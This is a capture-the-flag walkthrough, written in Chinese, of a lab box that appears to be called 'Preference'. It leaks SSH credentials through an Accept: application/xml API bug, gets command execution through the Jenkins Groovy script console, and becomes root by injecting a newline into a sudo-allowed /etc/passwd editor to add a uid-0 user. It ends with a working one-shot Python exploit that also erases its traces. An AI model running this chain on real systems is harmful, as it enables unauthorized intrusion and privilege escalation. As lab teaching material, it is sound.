

端口扫描

```
1 Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-23 13:00 +0800
2 Nmap scan report for 192.168.1.40
3 Host is up (0.0025s latency).
4 Not shown: 998 closed tcp ports (reset)
5 PORT      STATE SERVICE VERSION
6 22/tcp    open  ssh      OpenSSH 10.5 (protocol 2.0)
7 5566/tcp  open  http      Werkzeug httpd 3.1.8 (Python 3.14.7)
8 |_http-title: Maze Corp - Employee Directory
9 |_http-server-header: Werkzeug/3.1.8 Python/3.14.7
10 No exact OS matches for host (If you know what OS is running on it, see
    https://nmap.org/submit/ ).
11 TCP/IP fingerprint:
12 OS:SCAN(V=7.99%E=4%D=8/23%OT=22%CT=1%CU=33196%PV=Y%DS=2%DC=T%G=Y%TM=6A8A7E8
13 OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=106%TI=Z%CI=Z%TS=21)SEQ(SP=
14 OS:101%GCD=1%ISR=FD%TI=Z%CI=Z%TS=20)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I
15 OS:%TS=21)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=21)OPS(O1=M5B4ST11NW9%
16 OS:O2=M5B4ST11NW9%O3=M5B4NNT11NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11
17 OS:)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W
18 OS:=FAF0%O=M5B4NNSNW9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N
19 OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0
20 OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7
21 OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=
22 OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=C9A2%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIP
23 OS:L=G%RID=G%RIPCK=G%RUCK=C9BC%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%R
24 OS:ID=G%RIPCK=G%RUCK=C9D6%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
25 OS:RIPCK=G%RUCK=C9E2%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK
26 OS:=G%RUCK=C9FC%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
27
28 Network Distance: 2 hops
29
30 TRACEROUTE (using port 111/tcp)
31 HOP RTT      ADDRESS
32 1    0.34 ms  LAPTOP-L8P806AH.mshome.net (172.22.64.1)
33 2    3.42 ms  192.168.1.40
34
35 OS and Service detection performed. Please report any incorrect results at
    https://nmap.org/submit/ .
36 Nmap done: 1 IP address (1 host up) scanned in 19.53 seconds
```

MZ

Maze Corp

Internal Employee Directory

API Gateway v2.1.0

Employee UID

e.g. 8764

Lookup

USERFLAG

html中:

```
1 <input id="uid" type="number" min="1" placeholder="e.g. 8764">
```

前端找到: <http://192.168.1.40:5566/static/app.js>

```
1  const input = document.getElementById('uid');
2  const button = document.getElementById('lookup');
3  const result = document.getElementById('result');
4  const card = document.getElementById('card');
5  const error = document.getElementById('error');
6
7  const FIELDS = [
8    ['uid', 'UID'],
9    ['username', 'Username'],
10   ['display_name', 'Display Name'],
11   ['role', 'Role'],
12   ['department', 'Department'],
13   ['email', 'Email'],
14   ['phone', 'Phone'],
15   ['status', 'Status']
16 ];
17
18 function renderCard(fields) {
19   card.innerHTML = '';
20   for (const [key, label] of FIELDS) {
21     if (fields[key] === undefined) continue;
22     const row = document.createElement('div');
23     row.className = 'field';
24     const k = document.createElement('span');
25     k.className = 'key';
26     k.textContent = label;
27     const v = document.createElement('span');
28     v.className = 'value';
29     v.textContent = fields[key];
30     row.appendChild(k);
31     row.appendChild(v);
32     card.appendChild(row);
33   }
34 }
35
36 async function lookup() {
37   error.classList.add('hidden');
38   result.classList.add('hidden');
39   const uid = input.value.trim();
40   if (!uid) return;
41
42   const res = await fetch('/api/user/' + uid, {
43     headers: { 'Accept': 'application/json' }
44   });
45
46   const text = await res.text();
47   if (!res.ok) {
48     error.textContent = 'Request failed with status ' + res.status;
49     error.classList.remove('hidden');
50     return;
51   }
```

```

52
53     renderCard(JSON.parse(text));
54     result.classList.remove('hidden');
55 }
56
57 button.addEventListener('click', lookup);
58 input.addEventListener('keydown', (e) => {
59     if (e.key === 'Enter') lookup();
60 });

```

后端接口是

```

1 | '/api/user/' + uid

```

于是调用api: 先试试<http://192.168.1.40:5566/api/user/8764>

```

1 | {"department":"\u7814\u53d1\u90e8","display_name":"Gao
   Yan","email":"gaoyan8764@mazesec.dsz","phone":"13898408861","role":"developer",
   "status":"active","uid":8764,"username":"gaoyan8764"}

```

再试试不存在的

```

1 | {"error":"Not Found","message":"User with uid '1111' not
   found.","path":"/api/user/1111","status":404}

```

空ua:

```

1 | HTTP/1.1 406 NOT ACCEPTABLE
2 | Server: Werkzeug/3.1.8 Python/3.14.7
3 | Date: Sun, 23 Aug 2026 05:43:28 GMT
4 | Content-Type: text/html; charset=utf-8
5 | Content-Length: 0
6 | Connection: close

```

发现有接受类型限制

application/xml和application/json可用, 但是

application/xml返回

```

1 | HTTP/1.1 200 OK
2 | Server: Werkzeug/3.1.8 Python/3.14.7
3 | Date: Sun, 23 Aug 2026 05:44:12 GMT
4 | Content-Type: text/xml; charset=utf-8; charset=utf-8
5 | Content-Length: 639
6 | X-Served-By: internal-origin
7 | Connection: close
8 |
9 | <?xml version="1.0" ?>
10 | <user>
11 |   <uid>8764</uid>
12 |   <username>gaoyan8764</username>
13 |   <display_name>Gao Yan</display_name>
14 |   <role>developer</role>
15 |   <department>研发部</department>

```

```

16 <email>gaoyan8764@mazesec.dsz</email>
17 <phone>13898408861</phone>
18 <status>active</status>
19 <has_secret>1</has_secret>
20 <sso_token>sso_developer_8764_245587</sso_token>
21 <api_key>sk_internal_297624172687</api_key>
22 <password_hash>$2b$12$3636850726830173</password_hash>
23 <backup_codes>["946020", "203879", "488566", "401628"]</backup_codes>
24 <vpn_access>1</vpn_access>
25 <private_notes>服务器 SSH 密码: R00t8764!Pass</private_notes>
26 </user>
27

```

json返回:

```

1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.8 Python/3.14.7
3 Date: Sun, 23 Aug 2026 05:44:52 GMT
4 Content-Type: application/json
5 Content-Length: 188
6 X-Served-By: internal-origin
7 Connection: close
8
9 {"department": "\u7814\u53d1\u90e8", "display_name": "Gao
Yan", "email": "gaoyan8764@mazesec.dsz", "phone": "13898408861", "role": "develop
er", "status": "active", "uid": 8764, "username": "gaoyan8764"}
10

```

于是ssh

```

1 gaoyan8764 / R00t8764!Pass

```

拿到userflag

```

1 gaoyan8764@Preference:~$ ls
2 user.txt
3 gaoyan8764@Preference:~$ cat user.txt
4 flag{user-6380a935b0dc8e88865aba0c0524b9b5}

```

ROOTFLAG

```

1 -rw-r--r-- 1 root root 3052 Aug 22 17:46 app.py
2 drwxr-xr-x 2 root root 4096 Aug 22 17:43 static
3 drwxr-xr-x 2 root root 4096 Aug 22 17:43 templates
4 -rw-r--r-- 1 root root 16384 Jun  8 17:32 users.db

```

看app.py

```

1 if wants_xml():
2     return xml_response(dict(row), "internal-origin")

```

存在漏洞，这里直接将 dict(row)（即数据库中该用户行的所有原始字段）传给了 xml_response，我加上Accept: application/xml就可以吐出敏感数据

继续探测

```
1 gaoyan8764@Preference:~$ curl -s -H 'Accept: application/xml' -A 'curl'
http://127.0.0.1:5566/api/user/8764
2 <?xml version="1.0" ?>
3 <user>
4   <uid>8764</uid>
5   <username>gaoyan8764</username>
6   <display_name>Gao Yan</display_name>
7   <role>developer</role>
8   <department>研发部</department>
9   <email>gaoyan8764@mazesec.dsz</email>
10  <phone>13898408861</phone>
11  <status>active</status>
12  <has_secret>1</has_secret>
13  <sso_token>sso_developer_8764_245587</sso_token>
14  <api_key>sk_internal_297624172687</api_key>
15  <password_hash>$2b$12$3636850726830173</password_hash>
16  <backup_codes>["946020", "203879", "488566", "401628"]</backup_codes>
17  <vpn_access>1</vpn_access>
18  <private_notes>服务器 SSH 密码: R00t8764!Pass</private_notes>
19 </user>
```

发现多出很多数据

sso_token,api_key,password_hash,backup_codes

	State	Recv-Q	Send-Q	Local Address:Port
	Peer Address:Port	Process		
2	LISTEN	0	128	0.0.0.0:5566
	0.0.0.0:*			
3	LISTEN	0	128	0.0.0.0:22
	0.0.0.0:*			
4	ESTAB	0	36	192.168.1.41:22
	192.168.1.6:53640			
5	LISTEN	0	50	::ffff:127.0.0.1]:8080
	::*			
6	LISTEN	0	128	::]:22
	::]:*			

探测8080

```
1 gaoyan8764@Preference:/opt/gateway$ curl -i http://127.0.0.1:8080
2 HTTP/1.1 403 Forbidden
3 Server: Jetty(12.1.3)
4 Date: Sun, 23 Aug 2026 06:01:49 GMT
5 Vary: Accept-Encoding
6 X-Content-Type-Options: nosniff
7 Set-Cookie: JSESSIONID.9458c992=node01k9nkrtq9ap9c1oc85onjevuhc4.node0;
  Path=/; HttpOnly; SameSite=Lax
8 Expires: Thu, 01 Jan 1970 00:00:00 GMT
9 Content-Type: text/html; charset=utf-8
10 X-Hudson: 1.395
```

```

11 X-Jenkins: 2.535
12 X-Jenkins-Session: f45f6871
13 Transfer-Encoding: chunked
14
15 <html><head><meta http-equiv='refresh' content='1;url=/login?from=%2F' />
    <script id='redirect' data-redirect-url='/login?from=%2F'
    src='/static/f45f6871/scripts/redirect.js'></script></head><body
    style='background-color:white; color:white;'>
16 Authentication required
17 <!--
18 -->
19
20 </body></html>

```

Jenkins服务

利用上方泄露数据

拿原始cookie

```
1 | url -s -c cookies.txt "http://127.0.0.1:8080" > /dev/null
```

出现crumb报错，也可以采取ssh隧道：

```
1 | ssh -L 9090:127.0.0.1:8080 gaoyan8764@192.168.1.41
```



Sign in to Jenkins

Username

Password

☐ Keep me signed in

Sign in

```
1 | jenkins/Jenkins6530#Admin
```

登录

Access/manage Jenkins from your shell, or from your scripts.



Script Console

Executes arbitrary script for administration/trouble-shooting/diagnostics.

执行命令

1 | Groovy RCE: ["/bin/sh", "-c", 命令].execute() 基本格式

All the classes from all the plugins are visible. `jenkins.*`, `jenkins.model.*`, `hudson.*`, and `hudson.model.*` are pre-imported.

```
1 def p = ["/bin/sh", "-c", "id; sudo -l"].execute();
2 p.waitFor();
3 println p.text
```

Run

Result



```
uid=1001(jenkins) gid=1001(jenkins) groups=82(www-data),1001(jenkins)
Matching Defaults entries for jenkins on Preference:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for jenkins:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User jenkins may run the following commands on Preference:
    (ALL) NOPASSWD: /usr/local/bin/edit_passwd
```

`edit_passwd` 这是 root 的 shell 脚本，功能是改 `/etc/passwd` 的 GECOS 字段

随后造一个 uid 0 用户，然后 su root

生成哈希：

1 | openssl passwd -6 -salt haxsalt Hax12345



```
println(Jenkins.instance.pluginManager.plugins)
```

All the classes from all the plugins are visible. `Jenkins.*`, `Jenkins.model.*`, `Hudson.*`, and `Hudson.model.*` are pre-imported.

```
1 // 预设生成的强密码哈希（对应密码为 Hax12345）
2 def HASH = '$6$haxsa1t$gxrczA.v0FX5W4cTR6qIqEUpzyuo8/3NiYwb9dJTLJx5SEJTH09cOpLa8tEU8xdP2In0/Q901USXRvra7xpNj/'
3
4 // 组装提权与痕迹清理复合命令
5 def cmd = ""H='${HASH}'; sudo /usr/local/bin/edit_passwd jenkins "AA\nhax2:\$H:0:0:hax2"; echo 'Hax12345' | su hax2 -c 'id; cat /root/root.txt; sed -i "s|je
6
7 // 执行并回显
8 def p = ["/bin/sh", "-c", cmd].execute()
9 p.waitFor()
10 println p.text
```

Run

Result

```
Editing GECOS field for user: jenkins (UID: 1001)
Successfully updated GECOS field for user: jenkins
Password:
uid=0(root) gid=0(root) groups=0(root)
flag(root-f528c6318cb57c8f56f8b9ebf9a10b56)
```

- 1 `edit_passwd`把GECOS参数原样写进文件
- 2 这个时候因为我的参数带有换行符，于是会拆出第二行，也就是往`etc/passwd`追加了新用户

```
1 def HASH =
2 '$6$haxsa1t$gxrczA.v0FX5W4cTR6qIqEUpzyuo8/3NiYwb9dJTLJx5SEJTH09cOpLa8tEU8xdP2
3 1n0/Q901USXRvra7xpNj/'
4
5 def cmd = ""H='${HASH}'; sudo /usr/local/bin/edit_passwd jenkins
6 "AA\nlily:\$H:0:0:lily" ""
7
8 def p = ["/bin/sh", "-c", cmd].execute()
9 p.waitFor()
10 println "[+] Status code: " + p.exitValue()
11 println p.text
```

看到lily注入成功：

```
1 gaoyan8764@Preference:~$ cat /etc/passwd
2 root:x:0:0:root:/root:/bin/bash
3 bin:x:1:1:bin:/bin:/sbin/nologin
4 daemon:x:2:2:daemon:/sbin:/sbin/nologin
5 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6 sync:x:5:0:sync:/sbin:/bin/sync
7 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8 halt:x:7:0:halt:/sbin:/sbin/halt
9 mail:x:8:12:mail:/var/mail:/sbin/nologin
10 news:x:9:13:news:/usr/lib/news:/sbin/nologin
11 uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
12 cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
13 ftp:x:21:21:ftp:/var/lib/ftp:/sbin/nologin
14 sshd:x:22:22:sshd:/dev/null:/sbin/nologin
15 games:x:35:35:games:/usr/games:/sbin/nologin
16 ntp:x:123:123:NTP:/var/empty:/sbin/nologin
17 guest:x:405:100:guest:/dev/null:/sbin/nologin
18 nobody:x:65534:65534:nobody:/:/sbin/nologin
19 klogd:x:100:101:klogd:/dev/null:/sbin/nologin
20 apache:x:104:106:apache:/var/www:/sbin/nologin
21 gaoyan8764:x:1000:1000:~/home/gaoyan8764:/bin/bash
22 jenkins:x:1001:1001:AA
```



```
23 lily:$6$haxsalt$gxrcZA.vOFX5W4cTR6qIqEUpzyuo8/3NiYwb9dJTLJx5SEJTH09cOpLa8tE
    U8xdP21nO/Q901USXRVra7xpNj/:0:0:lily:/var/lib/jenkins:/bin/bash
```

```
gaoyan8764@Preference:~$ su lily
Password:
root@Preference:/home/gaoyan8764# |
```

root一键脚本:

```
1 python3 - <<'PYEOF'
2 import urllib.request, urllib.parse, http.cookiejar, json, base64
3 HASH='$6$haxsalt$gxrcZA.vOFX5W4cTR6qIqEUpzyuo8/3NiYwb9dJTLJx5SEJTH09cOpLa8tE
    U8xdP21nO/Q901USXRVra7xpNj/'
4 cj = http.cookiejar.CookieJar()
5 op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
6 op.open('http://127.0.0.1:8080/login')
7 data =
    urllib.parse.urlencode({'j_username':'jenkins','j_password':'Jenkins6530#Ad
    min','from':'/'}).encode()
8 op.open(urllib.request.Request('http://127.0.0.1:8080/j_spring_security_che
    ck', data=data))
9 crumb =
    json.loads(op.open('http://127.0.0.1:8080/crumbIssuer/api/json').read())
    ['crumb']
10 cmd = "H='%s'; sudo /usr/local/bin/edit_passwd jenkins
    \"AA\\nhax2:$H:0:0:hax2\\\"; echo 'Hax12345' | su hax2 -c 'id; cat
    /root/root.txt; sed -i
    \"s|^jenkins:.*|jenkins:x:1001:1001::/var/lib/jenkins:/bin/bash|\"
    /etc/passwd; sed -i \"/^hax2:/d\" /etc/passwd\" % HASH
11 b64 = base64.b64encode(cmd.encode()).decode()
12 script = 'def p = ["/bin/sh","-c", new
    String(java.util.Base64.getDecoder().decode("'" + b64 + '"'))].execute();
    p.waitFor(); println p.text'
13 data = urllib.parse.urlencode({'script':script}).encode()
14 req = urllib.request.Request('http://127.0.0.1:8080/script', data=data,
    headers={'Jenkins-Crumb':crumb})
15 print(op.open(req, timeout=20).read().decode())
16 PYEOF
```